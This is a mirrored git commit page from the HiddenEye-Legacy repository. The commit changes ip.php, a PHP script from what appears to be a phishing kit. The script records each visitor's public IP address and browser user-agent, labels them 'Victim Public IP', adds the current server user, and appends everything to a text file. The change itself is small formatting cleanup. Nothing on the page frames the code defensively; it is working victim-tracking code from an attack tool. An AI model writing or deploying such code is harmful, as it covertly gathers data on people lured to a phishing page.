mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Update ip.php
This commit is contained in:
parent
1b7f989975
commit
b3c2a78661
|
@ -14,19 +14,18 @@ else
|
|||
}
|
||||
|
||||
$browser = $_SERVER['HTTP_USER_AGENT'];
|
||||
$useragent = " User-Agent: " . $browser;
|
||||
$useragent = "User-Agent: " . $browser;
|
||||
|
||||
$user = get_current_user();
|
||||
|
||||
$file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way.
|
||||
$victim = "Victim Public IP: ";
|
||||
$victim = "Victim Public IP: " . $ipaddress;
|
||||
|
||||
$currentuser = "\r\n" . "\r\n" . "Current logged in user: " . $user;
|
||||
|
||||
$fp = fopen($file, 'a');
|
||||
|
||||
fwrite($fp, $victim);
|
||||
fwrite($fp, $ipaddress);
|
||||
fwrite($fp, $useragent);
|
||||
fwrite($fp, $currentuser);
|
||||
|
||||
|
|
Loading…
Reference in New Issue
Block a user